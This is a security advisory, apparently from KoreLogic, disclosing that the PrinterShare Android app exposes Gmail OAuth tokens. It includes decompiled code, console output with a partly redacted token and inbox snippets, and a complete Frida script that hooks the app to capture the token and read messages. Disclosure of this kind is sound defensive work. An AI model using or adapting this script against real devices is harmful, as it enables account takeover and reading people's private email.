Mobile Dynamix PrinterShare Mobile Print Gmail Oauth Token Disclosure
Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
PrinterShare Android application allows the capture of Gmail authentication tokens that can be reused to access a user’s Gmail account without proper authorization.
Technical Description
- Performed on Android 13 aarch64 - Samsung Rooted (Galaxy Tab A7 Lite)
- Using Frida client on Ubuntu 24.04 LTS - Frida server on Samsung Rooted Device.
- Playstore location: https://play.google.com/store/apps/details?id=com.dynamixsoftware.printershare&hl=en-US
- The target Activity is exported true. Which means any application may interact with it, given that permissions are provided.
- The attacking host needs to attach the device email to the application - this can be done by simply opening the application and clicking ‘Gmail’. Then choose the account to be used by the application.
The vulnerability is initiated in the
ActivityGmail.java activity. But is reintroduced in the
ActivityGmailConversation.java. As such, the attacking host
can capture the authentication token for Gmail and compromise
the confidentiality of the inbox.
Token Leakage in ActivityGmail.java:
public void J(String str) {
this.f4859p = strArr;
strArr[0] = str; // Account email
strArr[1] = bundle.getString("authtoken"); // OAuth token stored in plaintext
}
And reintroduced in the ActivityGmailConversation.java:
String[] strArr = this.f4899l;
if (strArr != null && strArr.length == 2) {
this.f4902o = intent.getExtras().getLong("s_label_id");
this.f4903p = intent.getExtras().getLong("u_label_id");
String[] c3 = F.a.c(this.f4899l);
// Token reused here for cookie authentication
cookieManager2.setCookie("mail.google.com", c3[1]);
}
Demonstrating the leaking of memory by running the frida script. This first captures the authtoken, then uses the token to leak the Gmail inbox of the device owner.
[SM T220::com.dynamixsoftware.printershare ]-> [*] Starting Fixed Gmail Monitor with Token Tracking
[+] Found ActivityGmail class
[*] Hooks installed with token monitoring
[*] Launching Gmail activity
[*] Gmail Activity onCreate called
[*] Authentication started for account: redacted@gmail.com
[+] Auth Token Found in Bundle: g.a000tQh5vDPCLJf2wPtT95aN7sn2msxMRMMjlUs2SKsQl0rSSXAaODTrDtQyLsUB[REDACTED]
[*] Message loading thread started
[-] Error accessing thread data: cannot read property 'value' of undefined
[*] Message loading completed
[+] View data at position 0:
Conversation ID: undefined
Messages: undefined
Labels: undefined
From: >> firebase-noreply
Content: [Firebase] Client access to your Cloud Firestore database has expired - ...SNIP...
Date: Feb 17
[+] View data at position 1:
Conversation ID: undefined
Messages: undefined
Labels: undefined
From: >> Me
Content: testtwo - here ya go email auto sync to app
Date: Feb 17
[+] View data at position 2:
Conversation ID: undefined
Messages: undefined
Labels: undefined
From: >> Me
Content: test - test
Date: Feb 17
Mitigation and Remediation Recommendation
No response from vendor. There are no known mitigations to end-users of the affected application versions.
Credit
This vulnerability was discovered by Felix Segoviano of KoreLogic, Inc.
Proof of Concept
[exploit.js]
Java.perform(function () {
console.log('[*] Starting Fixed Gmail Monitor with Token Tracking');
var ActivityGmail = Java.use('com.dynamixsoftware.printershare.ActivityGmail');
console.log('[+] Found ActivityGmail class');
// Add token monitoring
ActivityGmail.J.implementation = function (str) {
console.log('[*] Authentication started for account:', str);
var result = this.J(str);
// Monitor the auth token after authentication
try {
var creds = this.f4859p;
if (creds && creds.value && creds.value.length > 1) {
console.log('[+] Auth Token Leaked:', creds.value[1]);
}
} catch (e) {
console.log('[-] Error accessing token:', e.message || e);
}
return result;
};
// Monitor Bundle getString operations for additional token leaks
var Bundle = Java.use('android.os.Bundle');
Bundle.getString.overload('java.lang.String').implementation = function (key) {
var value = this.getString(key);
if (key === 'authtoken') {
console.log('[+] Auth Token Found in Bundle:', value);
}
return value;
};
// Existing hooks remain unchanged
ActivityGmail.onCreate.implementation = function (bundle) {
console.log('[*] Gmail Activity onCreate called');
this.onCreate(bundle);
};
var adapterClass = Java.use('com.dynamixsoftware.printershare.ActivityGmail$l');
adapterClass.getView.implementation = function (position, convertView, parent) {
var view = this.getView(position, convertView, parent);
try {
var tagData = view.getTag();
if (tagData) {
var strArray = Java.cast(tagData, Java.use('[Ljava.lang.String;'));
console.log('[+] View data at position ' + position + ':');
console.log(' Conversation ID: ' + strArray[0]);
console.log(' Messages: ' + strArray[1]);
console.log(' Labels: ' + strArray[2]);
}
var fromView = view.findViewById(
view
.getContext()
.getResources()
.getIdentifier('from', 'id', 'com.dynamixsoftware.printershare'),
);
var snippetView = view.findViewById(
view
.getContext()
.getResources()
.getIdentifier('snippet', 'id', 'com.dynamixsoftware.printershare'),
);
var dateView = view.findViewById(
view
.getContext()
.getResources()
.getIdentifier('date', 'id', 'com.dynamixsoftware.printershare'),
);
if (fromView && snippetView && dateView) {
console.log(
' From: ' + Java.cast(fromView, Java.use('android.widget.TextView')).getText(),
);
console.log(
' Content: ' + Java.cast(snippetView, Java.use('android.widget.TextView')).getText(),
);
console.log(
' Date: ' + Java.cast(dateView, Java.use('android.widget.TextView')).getText(),
);
}
} catch (e) {
console.log('[-] Error accessing view data:', e.message || e);
}
return view;
};
var threadClass = Java.use('com.dynamixsoftware.printershare.ActivityGmail$b');
threadClass.run.implementation = function () {
console.log('[*] Message loading thread started');
try {
var parentActivity = this.this$0.value;
if (parentActivity) {
var vector = parentActivity.f4852i;
if (vector) {
console.log('[+] Message vector found');
}
}
} catch (e) {
console.log('[-] Error accessing thread data:', e.message || e);
}
this.run();
console.log('[*] Message loading completed');
};
// Launch the activity
Java.scheduleOnMainThread(function () {
try {
console.log('[*] Launching Gmail activity');
var currentApplication = Java.use('android.app.ActivityThread').currentApplication();
var context = currentApplication.getApplicationContext();
var Intent = Java.use('android.content.Intent');
var intent = Intent.$new();
intent.setClass(context, ActivityGmail.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);
context.startActivity(intent);
} catch (e) {
console.log('[-] Launch error:', e.message || e);
}
});
console.log('[*] Hooks installed with token monitoring');
});
The contents of this advisory are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
Disclosure Timeline
KoreLogic requests security contact from vendor via {info,support}@mobiledynamix.com.
KoreLogic requests security contact from vendor via {info,support}@mobiledynamix.com.
KoreLogic submits vulnerability details to vendor via {info,support}@mobiledynamix.com.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.